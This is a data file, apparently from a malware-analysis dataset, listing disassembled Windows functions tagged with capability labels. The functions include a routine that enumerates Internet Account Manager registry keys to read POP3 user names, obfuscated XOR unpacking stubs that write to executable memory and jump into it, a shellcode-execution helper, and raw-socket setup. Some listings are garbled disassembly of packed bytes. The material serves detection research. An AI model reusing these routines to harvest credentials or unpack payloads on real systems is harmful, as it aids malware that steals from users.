joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406ce0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x88
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x41640c
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts
mov dword [esp + 0x10], ecx
push connect
mov dword [esp + 0x10], 0x80
call ebp
test eax, eax
mov dword [0x416408], eax
jne 0x406e98
mov eax, dword [0x416418]
push esi
push edi
xor edi, edi
test eax, eax
jne 0x406e89
mov eax, dword [esp + 0xc]
mov edx, dword [0x41640c]
lea ecx, [esp + 0x14]
push eax
push ecx
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
mov dword [0x416418], eax
jne 0x406e39
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts_s
push 0x416388
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0x41640c
push 0x416388
push connect
call ebp
test eax, eax
mov dword [0x416408], eax
jne 0x406e2c
mov eax, dword [0x416418]
xor edi, edi
test eax, eax
jne 0x406e1f
mov eax, dword [0x41640c]
push 0
push 0
push 0
lea ecx, [esp + 0x18]
push 0
lea edx, [esp + 0x24]
push ecx
push edx
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
mov dword [0x416418], eax
jne 0x406dfb
mov esi, str.POP3_User_Name
lea eax, [esp + 0x14]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406de7
test cl, cl
je 0x406de3
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406de7
add eax, 2
add esi, 2
test cl, cl
jne 0x406dc3
xor eax, eax
jmp 0x406dec
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406e11
mov dword [esp + 0xc], 0x80
inc edi
jmp 0x406d92
mov dword [0x416414], str.Tamara_Blezynsky
mov dword [0x416418], 0
jmp 0x406e1f
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
call fcn.00406ea0
mov ecx, dword [0x41640c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [0x41640c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, str.POP3_User_Name
lea eax, [esp + 0x14]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406e66
test cl, cl
je 0x406e62
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406e66
add eax, 2
add esi, 2
test cl, cl
jne 0x406e42
xor eax, eax
jmp 0x406e6b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406e89
mov eax, dword [0x41640c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x416418]
inc edi
test eax, eax
je 0x406d28
mov ecx, dword [0x41640c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
add esp, 0x88
ret
Function at 0x406ea0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x88
lea eax, [esp]
push esi
push eax
push 0x416388
push connect
mov dword [esp + 0x14], 0x80
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x406f04
mov eax, dword [esp + 0x90]
lea ecx, [esp + 8]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 8]
push edx
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406efd
lea edx, [esp + 0xc]
mov dword [0x416414], edx
mov eax, dword [esp + 4]
push eax
call esi
mov ecx, dword [esp + 4]
push ecx
call esi
pop esi
add esp, 0x88
ret 4

Function at 0x406f20
Capabilities:
Create raw socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
sub esp, 0x1a0
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov esi, ecx
push 0x102
call sub.WS2_32.dll_WSAStartup
mov ecx, dword [esp + 0x1b4]
push 1
push 3
push 2
mov dword [esi + 4], ecx
call sub.WS2_32.dll_socket
mov edx, dword [esp + 0x1b0]
mov edi, eax
push edx
call sub.WS2_32.dll_inet_addr
mov dword [esp + 0xc], eax
lea eax, [esp + 8]
push eax
push edi
mov ecx, esi
mov word [esp + 0x10], 2
mov word [esp + 0x12], 0
call fcn.00406fc0
push edi
mov ecx, esi
call fcn.00407050
cmp eax, 0xffffffff
jne 0x406fab
mov dword [esi], 0
mov dword [esi], 1
push edi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
pop edi
pop esi
add esp, 0x1a0
ret 0xc
test eax, eax
jne 0x406f8f
mov dword [esi], eax
jmp 0x406f95

Function at 0x406fc0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [0x40bea8]
push esi
mov word [0x41ae6c], ax
inc eax
mov dword [0x40bea8], eax
mov eax, dword [0x40beac]
mov word [0x41ae6e], ax
inc eax
mov dword [0x40beac], eax
mov esi, ecx
mov byte [0x41ae68], 8
mov byte [0x41ae69], 0
mov word [0x41ae6a], 0
xor eax, eax
mov cl, al
add cl, 0x20
mov byte [eax + 0x41ae75], cl
inc eax
cmp eax, 0x20
jl 0x406ffe
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x2d
push 0x41ae68
mov ecx, esi
mov dword [0x41ae71], eax
call fcn.004070a0
mov edx, dword [esp + 0xc]
push 0x10
push edx
mov word [0x41ae6a], ax
mov eax, dword [esp + 0x10]
push 0
push 0x2d
push 0x41ae68
push eax
call sub.WS2_32.dll_sendto
pop esi
ret 8

Function at 0x407050
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov ecx, dword [esp + 0x110]
lea edx, [esp]
mov dword [esp + 0xc], ecx
push edx
push 0
lea ecx, [esp + 0x10]
mov eax, 1
push 0
push ecx
push eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call sub.WS2_32.dll_select
add esp, 0x10c
ret 4
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40152e
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
lea eax, [ebp - 0x124]
mov dword [esp + 8], 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x10c]
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [ebp - 0x124], 0x14
mov byte [ebp - 0x10c], 0
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
movzx eax, word [ebp - 0x120]
sub esp, 0x14
leave
sub eax, 0x41
ret

Function at 0x40158a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0xa0
mov dword [ebp - 0x88], 0
call fcn.0040152e
mov dword [esp], 0x401664
mov dword [ebp - 0x8c], 0
mov ebx, eax
lea eax, [ebp - 0x8c]
mov dword [esp + 0xc], eax
mov eax, ebx
or eax, 0x40
mov dword [esp + 8], eax
mov eax, 0x4020c6
sub eax, 0x401664
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x40162d
mov dword [esp], ebx
lea esi, [ebp - 0x88]
call fcn.0040144c
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.004014ad
lea eax, [ebx + 0x1b600]
mov cl, bl
mov edx, 0x40300c
shl eax, cl
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov eax, edx
or eax, 1
imul ebx, eax
sub edx, ebx
mov dword [esp], edx
call fcn.00401dc9
lea esp, [ebp - 8]
xor eax, eax
pop ebx
pop esi
pop ebp
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40d29a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40d2a9
pop dword [ebp - 0x48]
mov eax, 0x40d2a9
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x35308
push 0
mov eax, 0x78ff4d4b
sub eax, 0x78be6c73
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0xc1400a42
add ecx, 0x3ec02d1c
xor esi, esi
add esi, eax
mov edi, 0x960a9b9f
sub edi, 0x95c95fdb
add edi, dword [ebp - 0x48]
mov ebx, 0xa2b5d380
add ebx, 0x27b539c4
mov dword [ebp - 0x14], 0xf91abd2e
mov edx, dword [edi]
sub dword [ebp - 4], 0xcbc8371
add edx, ebx
sub dword [ebp - 0x44], edi
mov dword [esi], edx
xor dword [ebp - 0x44], 0x9e80cb2d
add esi, 0xcafeb961
add esi, 0x350146a3
add edi, 0xf94d175a
sub edi, 0xf94d1756
loop 0x40d305
add eax, 0xde26b5f6
sub eax, 0xde25e5ab
mov ebx, eax
add eax, 0x17633e06
add eax, 0xe89cc1ff
mov ecx, 0x754e9174
add ecx, 0x8af16e8c
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401e5b
Capabilities:
Terminate process

Disassembly:
xor dword [esi - 0x3b7c9500], edi
cmpsd dword [esi], dword es:[edi]
pop edi
pop esi
dec eax
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sbb esp, ebp
js 0x401e9d
mov esi, dword [ebp + 0xc]
push esi
mov eax, dword [ebp - 0x78]
test eax, 0xe8565078
mov dword [eax], ebp
add byte [ebx + 0x158bc64d], cl
adc eax, 0x40c0ef
push eax
push ecx
add edx, 0x72
xchg edx, eax
lodsb al, byte [esi]
test dword [eax], 0x8015ff52
rol dword [eax], 0xa1
lodsb al, byte [esi]
add al, byte [ecx]
dec eax
rcr byte [edx + 0x71], 0xc0
je 0x401efb
push eax
push 0x1ad254
xor al, 0x15
stc
rol dword [eax], 0x83
les ebx, [ebx + 0x56]
call dword [sym.imp.MSVCRT.dll_exit]
pop esi
nop
nop
nop
nop
nop
jmp 0x401e2b
nop
push edx
nop
push ebp
mov ebp, esp
sub dword [0x8b56ed14], 0x75
mov byte [0x14068b57], al
mov dword [ebp + 8], eax
call 0x5240b400
mov dword [0xf30ba0], eax
mov dword [0x244107a4], edx
mov ebx, eax
mov eax, dword [esi + 0x14]
test eax, eax
mov edi, edx
jne 0x401f0e
mov ecx, dword [eax + 0x6a002404]
add byte [ecx - 0x18], dl
xchg esi, eax
add byte [ecx - 0x26], bh
mov dword [esi + 0x186538], ebx
mov dword [esi + 0x89c], edi
mov dword [esi + 0x18], 0
mov edx, dword [0x4117ec]
mov dword [esi + 0x14], edx
or eax, 0x4102cd
sti
sal byte [ebx + edi - 0x5f], 0xda
add al, byte [ecx - 0x15]
mov ecx, edx
add ecx, eax
dec esi
adc al, 0xeb
push 0x8388e8b
add byte [eax], al
mov eax, dword [0xdd7428]
cmpsd dword [esi], dword es:[edi]
adc eax, 0x4e40d08a
mov ecx, esp
mov eax, dword [esi + 0x7500083c]
adc eax, edx
sub eax, edi
maxps xmm4, xmm5
add byte [ebp + 0x3ba57c00], bl
invalid
invalid
Function at 0x407463
Capabilities:
Encode data using xor

Disassembly:
call fcn.00407366
mov ecx, 0x208
call 0x407463
rcr dword [esi + 0x30], 0x4c
push cs
pop es
xor byte [esi + ecx + 7], cl
loop 0x407466
std
mov ecx, 0x37b131c5
in al, dx
add al, 0x57
pop esp
cmp dl, byte [edx]
mov al, byte [0xd195cc0f]
in al, 0xd7
std
stc
call 0xf9a65b6e
test eax, 0x69fa612c
out dx, eax
mov byte [0x684a5029], al
sahf
push ecx
mov esi, 0xebfc9066
in eax, dx
inc ebp
aaa
paddusw mm5, qword ss:[esi - 0x75995ced]
sal dl, 1
add eax, 0x14876959
add ah, byte [ebp + 0x68]
wrmsr
xor dword [ecx - 0x2b], ecx
xchg ebx, eax
aam 0xcb
pop esi
movsd dword es:[edi], dword [esi]
lea ebx, [edi + 0x7e]
pop es
lahf
fdivr qword [edx]
cmpxchg eax, ebx
in al, 0x73
aam 0
js 0x407508
outsd dx, dword [esi]
mov fs, word [0x2cfee889]
invalid
imul edx, edi, 0xcb33b45c
and ebp, ebp
popfd
inc ecx
push es
and dword [edi], ebp
fnstenv [edi - 0x1f6542e5]
sbb al, 0xc
into
mov eax, dword [0x1b8d56f]
pop edx
inc ecx
pop ss
sbb eax, 0x1b5118db
or dword [esi - 0x709110b9], 0xb06222d8
cld
pop esi
jg 0x40755e
aad 7
dec esp
cmp byte [edx], al
fld xword [ecx + 0x58]
or dl, ah
int3
aam 0x32
out dx, al
sub eax, 0xfce231b2
shr ch, 0x50
stc
xor byte [ebp - 0x24ecc24d], bh
out dx, eax
fstp qword [ebx - 0x26]
wait
sub esi, dword [edx + edx]
nop
pop ss
adc al, 0xef
popal
push ss
lodsd eax, dword [esi]
in eax, 0xaa
push ss
leave
test dword [ecx], ecx
sal dword [ebp - 0x1f], 0x13
push ss
pop esi
rcr byte [esp + eax*2 + 0x75029e30], 0xf
and eax, 0x9a00ef59
adc byte [edi + esi], bh
push esp
or ch, ch
mov dh, 0x84
movsb byte es:[edi], byte [esi]
invalid
Function at 0x42c0f0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x19c
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x42c115
xor eax, eax
jmp 0x42c16c
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
jne 0x42c12a
xor eax, eax
jmp 0x42c16c
push ebp
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
call fcn.0042bb60
mov esp, ebp
pop ebp
ret

Function at 0x42c1e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 0x3000
mov dword [ebp - 4], 0x40
mov dword [ebp - 8], 0
push str.VirtualAlloc
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x42e0fc], eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [0x42e0fc]
mov esp, ebp
pop ebp
ret

Function at 0x401000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
enter 0x84, 0
sub ebp, 0x82
mov dword [ebp - 2], 0
call fcn.00401533
mov ebx, eax
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x7e]
push eax
mov eax, ebx
or al, 0x40
push eax
mov eax, 0x401dc7
sub eax, fcn.00401592
push eax
push fcn.00401592
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x7e], 0
je 0x40107a
mov eax, ebx
lea edx, [ebp - 2]
call fcn.00401461
mov eax, ebx
lea ecx, [ebx + 0x1b600]
call fcn.004014b3
mov esi, ecx
mov eax, ebx
or si, 1
cdq
idiv esi
lea edx, [eax + ecx]
mov eax, ebx
lea ebx, [ebp - 2]
or eax, 0x402054
call fcn.00401592
xor eax, eax
lea esp, [ebp + 0x82]
pop ebp
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x401533
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ecx
push edx
enter 0x11c, 0
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.DLL_GetCursorPos]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push 1
push 1
lea eax, [ebp - 0x11c]
push eax
mov dword [ebp - 4], 0xa
mov byte [ebp - 0x11c], 0
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringA]
movzx eax, byte [ebp - 0x18]
sub eax, 0x41
leave
pop edx
pop ecx
ret
Function at 0x41aa46
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x41aa55
pop dword [ebp - 0x10]
mov eax, 0x41aa55
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xaff9788c
add dword [ebp - 0x20], 0x9e58ccbf
mov dword [ebp - 0x1c], 0xa33b37ba
add dword [ebp - 0x1c], 0x8ef8148b
mov dword [ebp - 0x18], 0x76c5232
sub dword [ebp - 0x18], 0xbb200e04
mov dword [ebp - 0x14], 0xc5ff5c63
sub dword [ebp - 0x14], 0xc5ff5c63
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xa239f2ac
add dword [ebp - 0x20], 0xd23876aa
mov dword [ebp - 0x1c], 0x55ecd5a
sub dword [ebp - 0x1c], 0xc3f26be5
mov dword [ebp - 0x18], 0x3627bd2e
add dword [ebp - 0x18], 0x2d47af3e
mov dword [ebp - 0x14], 0x7ce81a97
add dword [ebp - 0x14], 0x8317e569
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xed16ef64
sub eax, 0xecd13ee4
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x4d17e
push 0
call eax
mov ecx, 0x1e03637
sub ecx, 0x1dfef1c
mov edx, eax
mov esi, 0x476000
add esi, dword [ebp - 0x10]
mov ebx, 0xdd94f53c
add ebx, 0xcf815716
xor dword [ebp - 0xc], 0x4c28fefc
mov edi, dword [esi]
xor dword [ebp - 0xc], ecx
add edi, ebx
xor dword [ebp - 8], eax
mov dword [edx], edi
mov dword [ebp - 0xc], 0x3a8ecc04
add edx, 0xad9cc91b
add edx, 0x526336e9
add esi, 4
loop 0x41ab67
add eax, 0x10f3f
xor ebx, ebx
add ebx, eax
add eax, 0x16d85077
sub eax, 0x16d85072
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40288e
pop dword [ebp - 0x20]
mov eax, 0x7db6af0b
add eax, 0x82897983
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x414db9f2
add dword [ebp - 0x30], 0xd048b59
mov dword [ebp - 0x2c], 0xcde4f347
add dword [ebp - 0x2c], 0x644e58fe
mov dword [ebp - 0x28], 0x209406a8
add dword [ebp - 0x28], 0x2bb83d86
mov dword [ebp - 0x24], 0x77b19680
sub dword [ebp - 0x24], 0x77b19680
lea eax, [ebp - 0x30]
push eax
mov eax, 0x74fac934
add eax, 0x8b45a730
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x773a8550
sub dword [ebp - 0x30], 0x2c81bfa
mov dword [ebp - 0x2c], 0xba1f1d7e
add dword [ebp - 0x2c], 0x874d43f7
mov dword [ebp - 0x28], 0xfc94f469
add dword [ebp - 0x28], 0x66da7803
mov dword [ebp - 0x24], 0x541f3dfc
sub dword [ebp - 0x24], 0x541f3dfc
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3a6a2
push 0
call eax
mov ecx, 0x5746
xor ebx, ebx
add ebx, eax
mov edx, 0x410000
add edx, dword [ebp - 0x20]
mov edi, 0xb9538860
sub edi, 0xd58d92b1
sub dword [ebp - 4], 0x58d059ef
mov esi, dword [edx]
xor esi, edi
mov dword [ebp - 0xc], 0x86926131
mov dword [ebx], esi
mov dword [ebp - 8], 0xfe5ca5fd
add ebx, 0x5468043
add ebx, 0xfab97fc1
add edx, 0xe2d2a9c5
sub edx, 0xe2d2a9c1
loop 0x4029a1
add eax, 0x8485fdc3
sub eax, 0x8484add8
mov ebx, eax
add eax, 0x69c409c1
sub eax, 0x69c409bc
mov ecx, 0x780e6ba2
sub ecx, 0x77ce6ba2
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x40ba06
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x28
mov eax, 0x45c2f1
call fcn.0044844b
mov eax, dword [ebp + 8]
xor edi, edi
mov esi, ecx
mov ebx, dword [esi + 0x20]
cmp dword [eax + 4], edi
je 0x40b829
push eax
call fcn.0040ae32
lea edi, [esi + 0x38]
push edi
call fcn.0042b406
lea eax, [esi + 0x3c]
push eax
call fcn.0042b406
mov ecx, esi
call fcn.0040a915
mov ecx, esi
mov dword [esi + 0x2c], eax
call fcn.0040b71f
push 0x46b52c
push dword [esi + 0x24]
call fcn.0042b3e0
push 0
push dword [edi]
mov ebx, eax
push ebx
call dword [sym.imp.ole32.dll_OleSave]
mov dword [ebp - 0x2c], eax
test eax, eax
jge 0x40b816
mov eax, dword [ebx]
push ebx
call dword [eax + 8]
push dword [ebp - 0x2c]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0xc8]
push dword [edi]
mov eax, dword [ebx]
push ebx
call dword [eax + 0x20]
mov eax, dword [ebx]
push ebx
call dword [eax + 8]
jmp 0x40b8c6
push 0x15
lea eax, [ebp - 0x28]
push eax
call fcn.0040a244
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00409487
mov eax, dword [ebx + 0x7c]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push edi
push edi
push 0x10012
push edi
push dword [ebp - 0x2c]
mov dword [ebp - 4], edi
push eax
call dword [ecx + 0x18]
cmp eax, edi
je 0x40b865
push eax
call fcn.0042a61d
mov eax, dword [ebp - 0x34]
mov dword [esi + 0x38], eax
lea eax, [ebp - 0x30]
push eax
mov eax, dword [esi]
mov ecx, esi
mov dword [ebp - 0x30], edi
call dword [eax + 0xc0]
push eax
push 0x46b6dc
push dword [esi + 0x38]
call dword [sym.imp.ole32.dll_OleLoad]
mov edx, dword [esi]
push eax
mov ecx, esi
call dword [edx + 0xc8]
push 0x46b49c
push dword [ebp - 0x30]
call fcn.0042b3e0
mov dword [esi + 0x24], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [esi + 0x24], edi
jne 0x40b8bb
push 0x8007000e
jmp 0x40b860
mov ecx, dword [ebp - 0x2c]
add ecx, 0xfffffff0
call fcn.004087f3
call fcn.004484ce
ret 4
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ecx + 0x20]
cmp dword [eax + 0x78], 0
je 0x40ba1a
pop ebp
jmp 0x40b79e
pop ebp
jmp fcn.0040ae32
Function at 0x40ba20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x2c
mov eax, 0x45c31e
call fcn.0044844b
mov eax, dword [ebp + 8]
mov esi, ecx
mov edi, dword [esi + 0x20]
xor ecx, ecx
mov dword [ebp - 0x30], eax
cmp dword [eax + 4], ecx
je 0x40b92c
lea edi, [esi + 0x38]
mov eax, dword [edi]
lea ebx, [esi + 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebx]
mov dword [edi], ecx
mov dword [ebx], ecx
mov ecx, esi
mov dword [ebp - 0x38], eax
call fcn.0040a32b
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0040af36
push edi
call fcn.0042b406
push ebx
call fcn.0042b406
mov eax, dword [ebp - 0x2c]
mov dword [edi], eax
mov eax, dword [ebp - 0x38]
mov dword [ebx], eax
jmp 0x40b9eb
push 0x15
lea eax, [ebp - 0x28]
push eax
mov ecx, esi
call fcn.0040a244
mov eax, dword [esi + 0x38]
xor ebx, ebx
mov dword [ebp - 0x34], eax
cmp dword [edi + 0x80], ebx
jne 0x40b992
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x30]
call fcn.00409487
mov eax, dword [edi + 0x7c]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push ebx
push ebx
push 0x11012
push dword [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
call dword [ecx + 0x14]
cmp eax, ebx
je 0x40b979
push eax
call fcn.0042a61d
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
mov dword [esi + 0x4c], eax
mov byte [esi + 0x47], 1
call fcn.004087f3
push 0x46b52c
push dword [esi + 0x24]
call fcn.0042b3e0
and dword [ebp - 0x2c], 0
cmp dword [edi + 0x80], 0
mov ebx, eax
je 0x40b9b8
mov eax, dword [ebx]
push ebx
call dword [eax + 0x10]
test eax, eax
jne 0x40b9cb
push dword [edi + 0x80]
push dword [ebp - 0x34]
push ebx
call dword [sym.imp.ole32.dll_OleSave]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebx]
push ebx
call dword [eax + 8]
cmp dword [ebp - 0x2c], 0
jge 0x40b9dc
push dword [ebp - 0x2c]
jmp 0x40b974
mov eax, dword [ebp - 0x34]
push 2
mov byte [esi + 0x47], 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
call fcn.004484ce
ret 4
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ecx + 0x20]
cmp dword [eax + 0x78], 0
je 0x40ba34
pop ebp
jmp 0x40b8ce
pop ebp
jmp fcn.0040af36

Function at 0x40eacc
Capabilities:
Get file attributes

Disassembly:
mov edi, edi
push esi
mov esi, ecx
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 1
mov ecx, esi
test al, 1
je 0x40eaf0
mov eax, dword [esi]
push 0
call dword [eax + 0x98]
test eax, eax
jne 0x40eafe
pop esi
ret
mov eax, dword [esi + 0x24]
mov edx, dword [esi]
push eax
call dword [edx + 0x98]
jmp 0x40eaea
xor eax, eax
inc eax
pop esi
ret